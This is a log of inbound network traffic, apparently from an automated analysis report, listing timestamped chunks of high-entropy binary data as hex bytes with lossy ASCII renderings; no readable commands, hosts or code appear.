2022-01-13 19:22:46 UTC	559	IN	Data Raw: 6c 91 e5 36 5a f4 b4 30 d3 c9 26 79 3e 2c 57 67 5c f1 fa e4 e5 34 19 cd 30 10 1c 67 d5 91 b7 a8 0f d5 30 01 63 0f 15 79 b9 51 58 ed 46 c5 3b b6 ef de 13 c3 5c e5 6f 13 84 51 9d 36 a6 4c ce b2 32 d9 e1 a2 40 30 57 74 61 96 b2 67 0c a7 90 b0 ca 32 56 e9 63 1b 35 72 6f 4d 5e a6 0e 86 e4 77 71 2c 5a f2 8f 0e 91 a4 1d a9 9c ce 1b 2f de 8b 85 c9 b8 8a 88 15 ce bd 50 13 34 c2 84 4f 17 c6 07 d9 36 91 f6 08 b3 e6 3f 5d 48 8a cd c5 16 4b 4e c2 cb a6 4a d7 1a 38 38 70 af 00 00 e1 0a b2 2c 7a df 03 e4 ef 28 03 7a b5 11 aa 3c 52 49 a3 d7 00 be cc 84 52 62 d6 9c 13 4f f6 1d fc 5a fb ac 42 21 19 c7 69 1e cb c8 a0 1a 77 22 20 7e b5 bb 42 5e f1 c3 0d dd 19 8b c4 94 6e 35 77 7a a5 88 44 58 96 7d 60 ae 20 6b ba 06 04 f1 34 b5 0f 0a c2 75 b5 e0 9d 8b da f4 41 01 6d 18 4c 82 Data Ascii: l6Z0&y>,Wg\40g0cyQXF;\oQ6L2@0Wtag2Vc5roM^wq,Z/P4O6?]HKNJ88p,z(z<RIRbOZB!iw" ~B^n5wzDX}` k4uAmL
2022-01-13 19:22:46 UTC	560	IN	Data Raw: af cd d4 0f cd 76 a8 a4 19 8e 3f d1 ca e8 e9 6c 6f ff 54 b6 03 6a 83 af f3 d9 5f 29 8e 7f 2e cb 14 e5 fe 40 dc 53 41 59 aa 31 2a 02 b2 48 72 97 fb db 1f 40 50 bd 40 60 e1 0b cb 83 d9 b6 6f 6b fe e7 6b db 58 98 1f bc dc 72 e1 1e 60 0c 88 2a eb fb a9 72 6b 7e 0f 07 47 51 7f 28 18 e5 7e d3 83 32 a7 98 16 ec e5 2c 1a 7c ab 48 d8 9c 0f 7a bd e8 d8 32 f5 de 95 f5 76 18 33 24 08 ba de 9e ee 55 1f 5a 53 42 24 7e 51 38 44 91 19 db 1f fd 32 52 be 70 4f 4e db 14 ba 8c 3c c6 52 ce ec ad 40 4c ab 11 98 74 b6 25 1c 18 38 cd 29 8e 72 a8 f1 fe 25 10 0d d7 04 b0 9c 34 6a 23 93 f1 2d 96 c3 71 41 54 5c e7 35 92 82 5c 83 7b de 93 e5 26 d3 73 5b 9e aa 26 70 ab 4f 54 9f 67 81 c2 c5 4c 3f b8 42 d3 fa 46 de 82 aa 31 fa b8 ba c2 df 19 31 92 27 88 4e bc dc 9e 06 5e e0 3a 6a 99 14 Data Ascii: v?loTj_).@SAY1Hr@P@`okkXr`rk~GQ(~2,\|Hz2v3$UZSB$~Q8D2RpON<R@Lt%8)r%4j#-qAT\5\{&s[&pOTgL?BF11'N^:j
2022-01-13 19:22:46 UTC	561	IN	Data Raw: da fe 40 31 fb 0d 7a 8f 85 89 61 c7 a2 e0 bf 3d 90 63 ee 76 4e ca 25 96 e7 17 05 df 1a 31 57 d7 0f 16 b2 1f b7 d9 39 4f 8e d9 27 bc 5b 03 c6 0a 57 4c 48 49 3d 78 7a 5b 4f 0d ec 23 9f 5c 46 cd 3a ea 5c 5a 3a 90 73 69 60 90 80 8c bb 46 1b d8 35 8f 29 35 9f 27 a0 3b a2 0e 76 e9 2f 99 bb 39 33 7c 9b 97 63 97 d6 e0 81 c3 25 e0 54 b9 53 42 79 49 db b0 33 fc e4 6f 0f b5 ab ba a5 8a f4 03 3e 3b 46 05 bd 17 84 0d 6a b4 68 51 5d 64 5c ea 74 a7 ae 30 0b d8 e2 0c 42 83 d5 1f 84 dd 51 2d 1e 86 4e bb 5a f0 ee 43 b7 f6 55 3f 24 f7 cd c8 16 48 d9 3b 3b 14 5f 19 75 b9 21 90 69 1f 7f 69 02 d6 82 54 9e 5c 97 a1 1c 8c 71 45 5d 76 cf 7a 88 e7 e6 ec fe fa ef 2c a1 e6 f0 c6 d9 a7 ee c7 c8 59 01 2d a4 80 a1 f2 ee 56 f2 3a b0 cd 15 b0 3c 30 be 62 b8 40 33 90 0f 98 7f e5 c7 7e b3 Data Ascii: @1za=cvN%1W9O'[WLHI=xz[O#\F:\Z:si`F5)5';v/93\|c%TSByI3o>;FjhQ]d\t0BQ-NZCU?$H;;_u!iiT\qE]vz,Y-V:<0b@3~
2022-01-13 19:22:46 UTC	563	IN	Data Raw: 27 a1 22 5a ac ff 9f 73 fc 0d 60 c0 94 b5 be 48 a7 dd 58 ed 7a fd 0f bf 40 4e 08 7c dc e3 b3 ba 28 13 a4 49 e3 90 1f 05 f1 8c 6b 78 b0 91 88 bb 43 a6 0b d3 d4 21 dd a2 15 d3 7e c4 7a 20 5c 4e d7 18 31 7c 81 db 09 22 99 4a 3d b2 4c 37 94 70 be c4 68 38 49 44 4f e7 e8 b5 b6 38 5d d4 bb 26 3e 20 27 82 29 ea ad ad ad ad bc 29 4a a5 78 77 78 55 f2 f8 f6 7d 5b 7c 2c e4 f2 3f b1 b8 9b 18 a8 5c 92 c6 33 da e0 92 73 3c c9 64 8b c9 d3 bc b0 c7 be 83 a3 cc 93 f1 65 09 26 62 31 4a af 10 88 0b be 8a 03 e7 cc 4f ef 2b 9b e1 17 db 09 6b f5 e0 d7 d6 7f c0 93 ba bc af d3 60 65 1d e8 b4 da 52 a2 b7 64 cf 26 31 64 18 b9 83 81 a8 18 a8 4f 4d 4f fd 7c 2c 7d 3a 29 c4 06 3e 2b 43 4d 88 11 9c a8 fd cb fe bd 58 7a 5b 62 fd 7f 29 ec cf e6 52 df cc 0f 0e f6 54 e2 95 ef 65 1e 63 09 Data Ascii: '"Zs`HXz@N\|(IkxC!~z \N1\|"J=L7ph8IDO8]&> '))JxwxU}[\|,?\3s<de&b1JO+k`eRd&1dOMO\|,}:)>+CMXz[b)RTec
2022-01-13 19:22:46 UTC	564	IN	Data Raw: 07 36 0e d6 32 98 06 19 77 0f da 9c 1d 82 45 45 1c 7e a4 f8 86 29 25 84 51 31 39 56 d2 ec b0 24 10 42 02 0e a5 9b 11 02 fa 0a 14 ea b3 5e 36 26 01 29 83 af d4 87 46 5d 46 de 9c 1d 87 d0 89 c2 7a 69 59 8b 45 a3 8e 1f 71 d2 cb 15 7e c0 b3 d9 7e f5 00 1d 9a 3f ad 68 6b 01 aa 2d 85 cb 6c bc 72 67 57 0e ed 8f cd f7 2d f2 fa 7f da 92 75 2e dc 9c 0d 70 b9 ac 05 61 0f 07 7b 32 36 4e 40 0a ee 70 f2 17 27 3e 7e 2d a8 45 99 95 c8 b9 b4 1e fd b9 6a 23 97 51 47 d3 c2 a4 72 f9 5c 78 c7 ce 9d 07 23 1e 7f c7 26 66 2c 8e d7 03 bb 1e 77 b5 e5 38 98 70 c3 12 57 c1 03 47 f8 4a de ca f5 6f 43 c3 a7 66 cf 1a ce ad ac 6c fe b2 7d 42 7c d2 4f 04 df 5c e9 63 f1 e6 e7 79 f4 e8 19 d8 36 19 9e 4a d2 19 21 1a 74 1c 20 69 bd 1a 67 e7 36 bd 10 57 c3 14 2e e0 8d be 9b e2 31 ce 9d 30 92 Data Ascii: 62wEE~)%Q19V$B^6&)F]FziYEq~~?hk-lrgW-u.pa{26N@p'>~-Ej#QGr\x#&f,w8pWGJoCfl}B\|O\cy6J!t ig6W.10
2022-01-13 19:22:46 UTC	565	IN	Data Raw: 37 17 dd 47 1d f8 e4 c0 bc 78 df 59 01 c3 32 1e 31 f3 78 d8 e4 e3 69 a0 70 c5 2c b5 7b 2e 07 31 3c c4 c5 b0 29 f4 07 33 3f c9 d1 6d 8b 91 f9 65 66 8e d6 93 97 ae 37 0b a0 77 9a 15 8b b2 81 b7 b9 14 26 99 80 3e 72 c2 30 7b 56 9f 3e a9 83 d6 9f 1b 5b 10 a0 0d 8e 3a 2b 1d 92 9b e8 ff 99 f1 99 96 7e 0b c3 0d 8f e4 37 c8 9b 16 58 f4 03 24 d5 11 aa 8f 85 82 2f 2a 68 94 30 6a 2a 66 eb 78 db b9 28 71 43 53 0c 48 ca e0 3b 16 32 ff d3 d0 ab b2 a5 ef d0 ff b2 7a b4 a5 f0 bc 67 19 22 3f b6 90 18 21 48 cb 3d fb d2 6b 68 fb 3f db 44 54 0d ab bb 1d 88 ec cf 15 9d fb 3e 50 be b0 cb 9d 83 cb 7c 2f 7d 45 b0 27 18 19 dd 82 2f 7d 3a 8d bc c4 7c dd 15 32 00 f3 94 63 97 88 2e e1 0e 3f f5 c2 70 c7 1d 00 df 59 05 83 a9 80 19 a8 f0 de ec e5 58 5b 08 cd 0e ab bd 45 4d 41 2d 6d 70 Data Ascii: 7GxY21xip,{.1<)3?mef7w&>r0{V>[:+~7X$/h0jfx(qCSH;2zg"?!H=kh?DT>P\|/}E'/}:\|2c.?pYX[EMA-mp
2022-01-13 19:22:46 UTC	567	IN	Data Raw: 36 41 da e7 25 c2 b3 b2 3c c3 8e 75 78 ef eb a1 34 7d 44 94 29 f6 dd f3 d5 84 96 c4 ed 68 fd 4b 26 71 97 46 c7 2c 70 14 b8 e6 d4 10 8c 1b fe 4b 4d cc f7 2a 98 8a ec 1d 63 1f e0 c3 ab 0a b9 f0 ad ba 9c 7b ae b2 88 4c dc 83 d2 c4 69 06 b9 3d bd 4c 97 9a ea da e0 cd 6a ea d7 52 d7 4b 4e c7 6a 7f 1b 9b a0 52 8f 2a f0 16 f0 b3 1d c0 6d fe 74 7f ae b0 33 38 91 9e e5 59 08 07 1e 3c 4f c3 ef 57 8b d1 1c 2b e3 ae 21 88 4b 54 a8 68 c7 69 7f 6b a7 85 ab c4 d8 73 36 14 4c 60 22 0e 18 83 f2 7f a7 0f cb c8 00 d5 38 8a dc f6 df 73 d7 27 13 d1 12 12 38 c4 a4 b5 01 33 0f 7d 58 1a 66 ec f3 bb d7 e1 77 b8 d5 01 b8 85 ab 4e b3 f1 54 08 51 42 64 f0 53 b6 5a a6 6d f6 a0 65 5e 95 48 2e 61 27 87 61 c7 14 11 cf 8c 98 29 d3 bf d0 b7 a5 24 67 9a 31 92 c7 1f 7b de 8d 09 39 e1 40 33 Data Ascii: 6A%<ux4}D)hK&qF,pKMc{Li=LjRKNjRmt38Y<OW+!KThiks6L`"8s'83}XfwNTQBdSZme^H.a'a)$g1{9@3
2022-01-13 19:22:46 UTC	568	IN	Data Raw: c3 b6 33 93 54 24 0b 2f 4e 9e 1a 2f 34 39 f6 96 e1 ac 36 b5 0d b1 f6 e8 5e 04 b7 bf f0 b4 af 18 4f e7 10 17 96 09 9a 2b 83 23 1a 84 eb 6c 2b 6b 94 83 cd 67 44 db b9 c1 e7 2a 70 e4 59 df 9c b5 b6 ae 72 57 d8 0b 72 b8 38 78 37 3c 96 c9 6c f9 5a 8c 6f 61 da dc a9 30 4f 63 9a 30 2c 9f d2 c0 43 ec 84 df 4a c1 41 89 c3 50 d6 38 ec c7 da 4f 1b 8c fa ef 2f 9b ec 03 36 4d 8e c3 b8 3c 6b 5d 38 84 72 e9 e3 03 20 c0 86 5e be 68 38 35 c5 0e d3 44 6e 5c 58 2f 36 b4 27 80 ef 22 9f 86 51 28 18 5f 29 35 e5 3e 35 30 a6 7a be ca ee f9 d0 91 25 55 06 b2 3f a6 0b d1 f6 aa 2e 14 e0 52 bc 9c ea c5 40 2a 10 17 8c 5f 61 d1 a7 8a 36 bd dc e3 19 d3 6b 74 b7 fd c0 cc f3 52 b4 a0 70 b7 94 90 66 9a 2b 60 96 7b 24 e6 10 20 65 08 b5 de 32 af 33 f4 5b fd 56 ff de 05 49 d9 68 92 75 ae 2b Data Ascii: 3T$/N/496^O+#l+kgDpYrWr8x7<lZoa0Oc0,CJAP8O/6M<k]8r ^h85Dn\X/6'"Q(_)5>50z%U?.R@_a6ktRpf+`{$ e23[VIhu+
2022-01-13 19:22:46 UTC	569	IN	Data Raw: 03 c7 b4 dd a1 df d8 d9 e6 cc 8f f4 31 4e fe 24 f3 6f f5 39 45 ae 48 ca 45 8c 95 e6 4f 23 92 d6 72 0c cf 24 06 b1 0d 44 94 73 55 bc 26 72 b1 8f 60 1d 5d 14 23 00 e2 cd 9a df ec 1d 6e 44 f7 3c d7 63 27 76 16 e3 56 52 19 b3 0e b4 ea 0d 7f 99 cd cb 0f d3 09 7c 67 2e 6a 71 42 15 50 3c a6 71 28 31 10 e7 b5 30 c1 1c e4 32 ac df 9e 94 d9 ce 91 12 62 08 40 bb 16 11 ea b5 19 66 ba 6d 33 1f 16 b2 e6 98 fc f1 3f a9 c8 46 f9 96 12 93 1d e7 0f 0d 46 d7 60 39 42 ca ff f7 ab 81 4d 33 db 8a 6e 8d 14 90 e5 83 fe 72 ce 22 4a 96 51 ca 5d 43 25 43 0d 88 0d 17 0d 07 42 54 b4 3e fd bc 35 76 50 5c ff 65 e9 78 c7 e6 50 65 ea 9a ab 56 10 99 21 fa 7e 62 31 92 8b 56 76 76 db e5 e2 e0 a9 f9 d5 7f 94 28 7d b7 5e 44 64 51 f1 35 0b 54 11 6f 70 d7 74 a0 f5 8f f3 bb b1 20 0c a7 d0 e2 5a Data Ascii: 1N$o9EHEO#r$DsU&r`]#nD<c'vVR\|g.jqBP<q(102b@fm3?FF`9BM3nr"JQ]C%CBT>5vP\exPeV!~b1Vvv(}^DdQ5Topt Z
2022-01-13 19:22:46 UTC	570	IN	Data Raw: e3 01 2a 44 ce a6 0e 5b 49 b9 85 85 7f 21 01 4d 26 79 2c 54 a0 74 bd 62 61 7b 8a 50 9a 13 72 0e 39 c3 58 f9 95 fd ea 01 f2 08 d7 78 d4 e4 a5 85 d9 1c f6 d1 05 4e c7 6c 29 5d 0b 9d 93 d3 d9 ed b2 4c cc f8 0e 0a fe 51 62 c4 8a 88 75 8f 0e 04 a4 f1 62 47 3a e0 e5 4b e3 08 2f 7b 43 53 dd e8 b1 ff 6e 2a 84 b8 30 4c 63 e1 9e 87 c0 98 f1 d7 bb cd 6c cb 96 90 93 18 50 81 44 83 44 be c4 91 6c 73 d4 04 b7 e1 67 ee 33 11 cf 2d ef 89 22 86 53 19 b0 c2 54 1a 64 df 6c 2e 80 c2 c4 9e 18 89 df 16 40 3a 6f d8 7b e5 60 21 5d 90 eb 1a 7b d5 8e 4a 06 3d cc ca d5 03 b8 32 a7 9a a6 12 4e d4 84 33 dd 57 f2 5b 7e b1 1a d5 31 86 4d 4e 90 7a c8 27 11 89 da 86 58 e5 25 fb dc 90 8b 68 96 76 3d f5 b7 1a ed 37 42 fc 30 12 cc 5d 68 8b 30 f7 a3 cb 0d 1e 75 2c 12 5e b4 69 45 ed 12 17 10 Data Ascii: D[I!M&y,Ttba{Pr9XxNl)]LQbubG:K/{CSn0LclPDDlsg3-"STdl.@:o{`!]{J=2N3W[~1MNz'X%hv=7B0]h0u,^iE
2022-01-13 19:22:46 UTC	572	IN	Data Raw: 33 85 62 64 94 7c bf 5f 1b ff 28 af b3 a7 3b d6 f6 45 99 80 d0 55 65 0f de 99 91 89 d5 fa e1 16 5e 4c 12 31 ce aa a1 54 b1 27 d9 56 26 84 94 3e a4 2b db cf 43 21 4c 1a 95 ea a4 69 25 4d 38 c4 c3 4a 5d f6 41 aa 8c 65 ed 1e 3c 4f a7 94 e3 97 0b 41 e0 e0 00 47 22 e7 2f 93 24 25 34 e6 60 a8 c3 bb da d8 cd 89 3f e8 c8 17 0a eb 27 1b 9c 59 38 36 ca 9a 7b d5 8c 4e d6 68 44 29 17 c2 c0 54 68 81 c1 fd 63 f1 3d cc f3 c4 82 9e 2b aa 4c 42 24 e7 cd 17 99 3d 06 68 de aa e9 24 5a 3d cd ce e9 ce fd 36 62 d6 6a 3f 08 77 7d 3a 47 9e bd 94 7d 38 53 b7 bd 4e 78 59 ae 73 34 77 39 61 c6 ce f3 51 1e 15 7d 5a 32 6d e9 e5 40 4b 59 be 33 99 e9 7a 92 ae 01 f2 14 57 38 39 c7 04 af a9 a2 0f c6 75 31 7d e1 e4 51 51 17 29 de 38 a4 6d 48 df 56 f9 99 8e 61 7c a6 53 48 e3 f2 87 8e 1e 17 Data Ascii: 3bd\|_(;EUe^L1T'V&>+C!Li%M8J]Ae<OAG"/$%4`?'Y86{NhD)Thc=+LB$=h$Z=6bj?w}:G}8SNxYs4w9aQ}Z2m@KY3zW89u1}QQ)8mHVa\|SH
2022-01-13 19:22:46 UTC	573	IN	Data Raw: 8d 8c f7 a3 90 18 56 cf 7a a8 0a 2a 80 20 dc 4f 23 15 9a 8c 56 70 10 89 c5 48 d1 30 1f e8 b1 b5 d0 ef 2c 84 56 eb 9a d7 d6 85 cb 63 73 b2 9b 20 67 03 22 15 d6 d2 4c cc e9 87 60 2e 1e 7e aa 5d 2c 88 0c d6 e7 24 59 ad b8 33 23 23 9b 4a 17 b6 d3 69 0c 46 da 1a 8a 3f 5c fa 2e 78 5a de 9a 7d 34 e4 87 94 ec bb 5a e1 b7 2f 5c ff cb 6f 68 ee 28 96 bb 51 4c ce e2 8d 68 83 d4 6c 35 35 96 61 7f 5c 4b 9e 69 82 a0 30 74 02 c2 03 67 89 cb 6f 1a f7 bf 8a 30 6d dc 7f 08 b4 24 7c be cc f6 56 28 e3 2f e7 23 ff d9 92 24 5d e4 e3 37 08 ff ff 3c 74 82 d4 be ca 32 a1 12 b4 33 9d 83 c9 02 c9 75 25 46 1d 94 f8 a5 37 4b 8a 27 55 f7 d2 e5 2c e1 5c 90 2d cb c3 a7 52 ab fa 5a 7f 2a c6 c9 77 20 0c 0e 22 17 bc df 78 cd 74 b1 00 76 d9 ea 33 5d 7d 22 7e e3 63 a1 cb 06 fb d7 65 43 2c b2 Data Ascii: Vz* O#VpH0,Vcs g"L`.~],$Y3##JiF?\.xZ}4Z/\oh(QLhl55a\Ki0tgo0m$\|V(/#$]7<t23u%F7K'U,\-RZ*w "xtv3]}"~ceC,
2022-01-13 19:22:46 UTC	574	IN	Data Raw: 1e 12 58 fb d0 f6 2b 78 b7 b3 54 02 c3 58 e5 3d 3e 1e 03 56 4e 7d ba a2 17 c9 75 ac f7 c5 45 a9 43 db b6 fe 3d 1f cd 6c 8d f8 4e 4b b1 b7 bb 81 cd 6b 07 2f 66 66 8f 48 62 f8 59 6f 0f b7 bc 08 df 83 24 10 5d 65 1b fb 5e 22 7f da 3f 72 c3 ef f1 50 68 56 fb c0 c2 a3 c4 22 e0 25 38 6e e7 80 be 0e 40 fe a2 0f c1 f3 72 62 2c 32 69 b2 87 b1 b4 39 b1 d8 f0 11 6b 9d f7 d0 ec bb 30 04 ac 26 29 9f e9 b7 71 54 96 67 11 dd 43 01 31 9a d1 73 36 87 56 f4 5c 59 d7 66 f9 86 3d 3f 54 80 56 6a 29 87 d0 46 1b 65 16 1c e4 bf 4b ee 9a e3 69 02 d5 04 a1 4a c3 57 7e 0b 0a db e4 7f ac cc 8d ec b3 b0 81 2a 26 64 9b fe 35 0b 21 f0 da 8d 29 97 f8 42 d5 a3 f5 67 96 8f eb 3e 37 a1 11 54 24 6a 92 78 e7 20 74 b5 b8 5f 65 27 07 37 ae 80 fd c7 73 2b 92 16 fb 7e 6f 14 4a c6 a6 17 3e ba da Data Ascii: X+xTX=>VN}uEC=lNKk/ffHbYo$]e^"?rPhV"%8n@rb,2i9k0&)qTgC1s6V\Yf=?TVj)FeKiJW~*&d5!)Bg>7T$jx t_e'7s+~oJ>
2022-01-13 19:22:46 UTC	576	IN	Data Raw: 2a 1e 91 1c 6d 10 e5 bc 76 55 65 12 51 e7 e4 ab dc 8a 27 0d c5 4d c3 b7 c7 00 a8 18 fd 60 2d f9 8c 24 38 2a 7e fc 57 81 33 9d 9b 4a 06 da 1c 18 8e 0c e8 1b 5c f0 be c6 ad a7 83 75 28 00 05 9b 44 bb 56 f4 49 f8 88 4f 2d 88 6a 1f fe 5a 72 ce f4 3c 8b 74 5f 7b 3f ae 4e b0 29 45 03 3c 32 a0 d7 6a 28 d2 9b 4b 12 4a db 1c c4 3f b3 0c 8f af d4 96 0f df 5a 80 4a cb 85 03 47 17 1b e8 a6 0c 5a a1 2c 37 ec 7d 2b bd 21 e9 a5 52 57 54 ea b7 f4 56 d3 13 7c a4 ab b0 c9 74 b0 2b e7 ae fb 8b df 0c 40 2f fc fd 38 ee b9 4e c7 1c 38 8a f6 9b f6 4d 58 e0 f2 b9 5a f3 80 ad 33 2b 53 12 41 c7 ba 7d 22 f2 5f 77 2e cf 97 21 f2 49 4b b6 34 01 ba b3 7b 6c ed 50 c0 76 24 6e 87 70 e9 4d f3 29 48 a6 8a ba ba b5 af 38 52 de 88 ba 00 2d 26 c4 b4 4d 5d 71 9c da d6 eb a0 71 2f 62 b5 11 28 Data Ascii: mvUeQ'M`-$8~W3J\u(DVIO-jZr<t_{?N)E<2j(KJ?ZJGZ,7}+!RWTV\|t+@/8N8MXZ3+SA}"_w.!IK4{lPv$npM)H8R-&M]qq/b(
2022-01-13 19:22:46 UTC	577	IN	Data Raw: e6 f5 8a 0e 13 bc d5 a3 42 33 93 54 24 0b ba c2 6c 11 dd 1f 5f b0 40 dc 5c 8f 50 db 14 4a c1 c0 6c 13 bc 9e 60 a4 46 92 3a 41 b9 a1 40 3a 21 44 e2 e1 72 bf 06 3d b5 b5 0c 80 35 27 34 61 96 53 50 ca e5 89 8c dd 6a d4 98 2e 52 97 a1 f5 c6 8d 2f 8c 4d e0 4f 23 98 7b d1 8d fe 56 5c 25 8c eb ec de 74 61 60 f8 54 72 4d a4 6f 57 03 6f 5f 2f cf 15 c6 31 4c de 96 cc 33 ef 5b 77 4d d2 e0 91 0a 78 c8 5d b9 25 14 b3 be d7 17 7c 5b 8e 06 ef 43 ed 67 54 b7 d2 ec c3 98 76 a9 2e c1 25 9b f4 4a 32 10 51 b9 94 15 38 e6 f9 8a f0 fe de f3 89 b2 67 58 a7 d5 07 2b 82 96 66 98 c8 3d cb 01 31 ba 36 07 31 28 d9 65 eb e2 c6 66 2c e1 9e 64 d5 02 f6 04 f5 82 3a 2c 37 76 b2 31 27 3b d2 85 ce 3a da 84 55 df df 63 b7 6e c2 20 f9 2d 38 9c 6a f6 a1 89 db 05 33 2d 3d f5 c5 56 fd c9 67 49 Data Ascii: B3T$l_@\PJl`F:A@:!Dr=5'4aSPj.R/MO#{V\%ta`TrMoWo_/1L3[wMx]%\|[CgTv.%J2Q8gX+f=161(ef,d:,7v1';:Ucn -8j3-=VgI
2022-01-13 19:22:46 UTC	578	IN	Data Raw: fa 8e 1d 0e a4 16 3a 4d d1 f2 dc 30 ae 57 7b 94 46 ac 8d f8 31 00 e2 fe 2c 1f 0a bf 5d 64 64 42 3e d7 dd 49 40 75 75 ec d9 0d ee aa 27 eb 7f 27 80 40 47 2f 99 ff 30 d3 0e 94 74 ef 7c 74 8a 9c 45 28 a0 13 4a b5 cf 06 ef ca dd db 15 da 97 eb 91 40 f5 19 e7 54 36 7b 2b 87 c0 71 b4 2d 8e 67 13 6a 5a 16 27 fe 86 d8 42 45 9f 88 57 70 ad 75 ca a0 06 17 c7 dd ab 60 f0 0a f5 fd 8d b5 fa 9c 3e 49 eb 2c e3 0b d1 70 a9 94 07 65 13 c0 db 16 c5 e4 bb 53 56 f8 04 aa 4f 83 23 fd d9 19 ca e9 28 02 a4 05 79 47 5c f5 6f 8b c9 78 b4 21 91 eb af a5 87 d8 21 b7 dd ff 11 bb f3 e5 28 be df 42 ce 58 96 10 1a 1d 26 9b 6e a5 5a eb 45 cd 43 52 e3 1c 67 08 b9 9b dc e6 21 48 65 1d f8 53 53 e2 21 b0 0e 17 d0 dc cc 48 ed 73 ea 76 e2 23 3e 45 03 5b d2 f9 5c 1b 80 fc 6f b4 d7 7f 6f fa 36 Data Ascii: :M0W{F1,]ddB>I@uu''@G/0t\|tE(J@T6{+q-gjZ'BEWpu`>I,peSVO#(yG\ox!!(BX&nZECRg!HeSS!Hsv#>E[\oo6
2022-01-13 19:22:46 UTC	580	IN	Data Raw: b0 2a d5 cc ee b5 ba 50 2a 11 1e b2 30 0a e9 24 dd 32 ee 9d 76 8c 57 fc 99 2a 10 5a ec 22 f3 c0 17 ec ad 47 82 b5 8e b2 78 95 52 9c 09 97 9c 08 59 38 24 ac e7 2c 13 8f e9 8f dc 77 07 cf 48 c7 fd 0d 17 d9 01 23 32 23 fd 7f 54 68 b7 6f 4c ea 09 2e 86 9e 96 96 62 28 bc de 18 87 ca 0e 99 36 02 af a8 8d 83 c7 be 02 a1 9d e3 09 af fe 5d a5 b2 34 88 ba ba e0 44 6c bf ef 40 23 57 7b c3 4a 4b 52 db d3 aa ee ba d5 78 19 64 84 9c c3 5b 78 5d 79 a4 5c ed a1 4b 44 16 80 16 73 8e b9 e7 6a 83 03 19 c3 c5 ed 3c 84 ff da 22 26 6c 3b 85 47 7d ec 7e a2 0f 95 eb c4 ee b0 b3 79 ec a2 08 b0 98 a0 0b 66 58 6b 32 d5 36 39 39 4e d8 25 46 cd a1 a8 03 b8 4b 5e 6d 52 d4 51 d4 ea 01 34 6b 64 24 88 46 dd 1d 7b b6 44 97 99 e4 97 60 74 a3 8b c4 7e 5e 80 53 81 5f ce 87 45 f8 32 0e 98 d0 Data Ascii: P0$2vW*Z"GxRY8$,wH#2#ThoL.b(6]4Dl@#W{JKRxd[x]y\KDsj<"&l;G}~yfXk2699N%FK^mRQ4kd$F{D`t~^S_E2
2022-01-13 19:22:46 UTC	581	IN	Data Raw: 43 50 30 af 6e 26 bc 20 c1 fc bd 8f 03 ee 05 85 72 14 94 d1 b7 0f 39 41 53 9b 1c bb a0 ed da 66 55 dd d5 cb d4 1f 05 fa e9 fd 63 ee 47 f8 93 54 28 af 5b 9d 67 d6 3e e6 4d e6 49 ab 7c 04 91 08 5e 13 64 47 ab 9d 37 17 69 f3 03 cd 58 08 5f 91 55 bb aa 07 d9 f8 a0 e1 c5 b6 0e f6 a6 f8 a2 d7 bf 78 05 81 7e 4f 83 23 d9 bb ad 4c 7f 0a 53 69 fa bc 7a 0d 10 fe 5c 1f 59 d9 ea 7b 80 5e 44 d8 29 32 d9 ed 2c ed d7 e6 4e 19 68 94 82 f7 23 05 ec 5c ea 40 d2 1f 0d 18 e6 b8 d9 bb fd 3c b8 e7 79 5a 3b 2c eb b5 20 93 e0 89 c2 d4 be dd b3 fc 2e 87 0a 14 db 18 c3 e1 13 72 14 6c 99 f8 92 ae 22 71 b2 28 e7 89 35 fe ec b7 bc 36 e0 36 5d 61 b6 22 69 ff 4d 96 6d 2c e9 98 9e 7d ad 13 d3 00 7e cd 12 88 f9 ac 2b 92 78 af d7 cd 8a 5f 04 66 63 1e 76 ad a7 8f e9 09 3f 98 ab a5 83 a3 5d Data Ascii: CP0n& r9ASfUcGT([g>MI\|^dG7iX_Ux~O#LSiz\Y{^D)2,Nh#\@<yZ;, .rl"q(566]a"iMm,}~+x_fcv?]
2022-01-13 19:22:46 UTC	582	IN	Data Raw: d2 24 0d 54 98 7d 5c ef c6 c8 e0 82 ab 6e 80 d6 60 ea 18 81 9f e7 bf 37 de 06 01 22 12 ee 52 a6 bd fe 58 81 8c 5a bf 51 58 c0 48 2c 1a c5 64 c6 0e 92 59 0b 48 3a 44 ad bb f0 ab c3 2a 71 80 1f 90 c2 6e 84 0d aa 31 14 3f b7 b4 91 1f f0 31 a0 5b df ac 27 58 93 ff 48 ad 1d e4 13 15 d7 db e7 2e 8c 5c a7 98 a1 37 b2 65 1b bd 4a 8f 5a 09 40 76 c1 b8 f3 8f 8a 08 16 ec c1 06 a1 62 9f 93 51 13 d4 1d 95 e0 61 53 16 f8 39 47 e3 f7 c1 f4 ae 34 1b 10 7e 5c 15 ca ad 23 88 8b a9 25 f9 d5 9c 02 2b d2 f1 f0 a3 8c 4a 7b 2b d4 ab b8 dc 66 93 b3 9d 9c 77 95 3c 28 72 34 ff df 17 1e 09 30 0a 0e 99 f3 c0 0c 11 64 83 23 c0 9e fc fb ab a2 4f 28 9e eb 26 04 cf 63 94 05 3d b6 97 44 27 1e 00 19 2f 4b 47 27 e2 07 53 5d 67 95 1e 60 87 d7 e7 56 f8 4e 67 c9 15 c8 3b e1 bf 46 8a 09 69 bc Data Ascii: $T}\n`7"RXZQXH,dYH:D*qn1?1['XH.\7eJZ@vbQaS9G4~\#%+J{+fw<(r40d#O(&c=D'/KG'S]g`VNg;Fi
2022-01-13 19:22:46 UTC	584	IN	Data Raw: 5d d8 fb de c8 43 82 00 69 80 39 d3 89 ea f9 89 7d 5a 81 92 28 93 cd 32 d7 ad 99 86 45 38 8f e3 ff dc ca ed 31 97 94 01 78 f1 3c 29 99 e4 5e f4 df af 0a be de 81 b1 d2 3f 56 7a a6 12 5f 7a aa 66 ef 21 e2 67 2f dd 19 c4 c1 4a a6 b4 a9 0b c9 63 0f b0 62 10 d4 54 e8 a0 0b d2 4e bd 53 50 4e 59 15 9e 01 be 7b a0 19 d2 f7 ab e4 a1 ca db 1e 76 ca 93 4d f2 d6 8b d1 66 e7 77 25 01 24 64 99 62 69 89 dd 07 22 cf a4 9c b5 6a dd 7e 0b 37 e4 d5 da 32 ed ab a6 04 b1 57 83 02 ea a6 b4 f3 35 31 90 66 9d fc 5f 14 32 04 bc 26 a1 8e 12 e1 84 ed 2b 95 f5 ac 58 e8 f4 3d ac 2d 29 31 22 e0 92 63 16 ba 11 c3 2e 17 93 9a 7d 21 59 c0 7a a6 06 b3 d0 e9 95 8b d0 f1 a3 e6 3c bc c4 b0 2d 85 d9 c8 ff dd 03 54 70 48 27 ed 36 11 a8 b0 c5 c6 ad ae 3f aa 35 8e f9 aa 86 30 0d 1a 76 bf 58 7a Data Ascii: 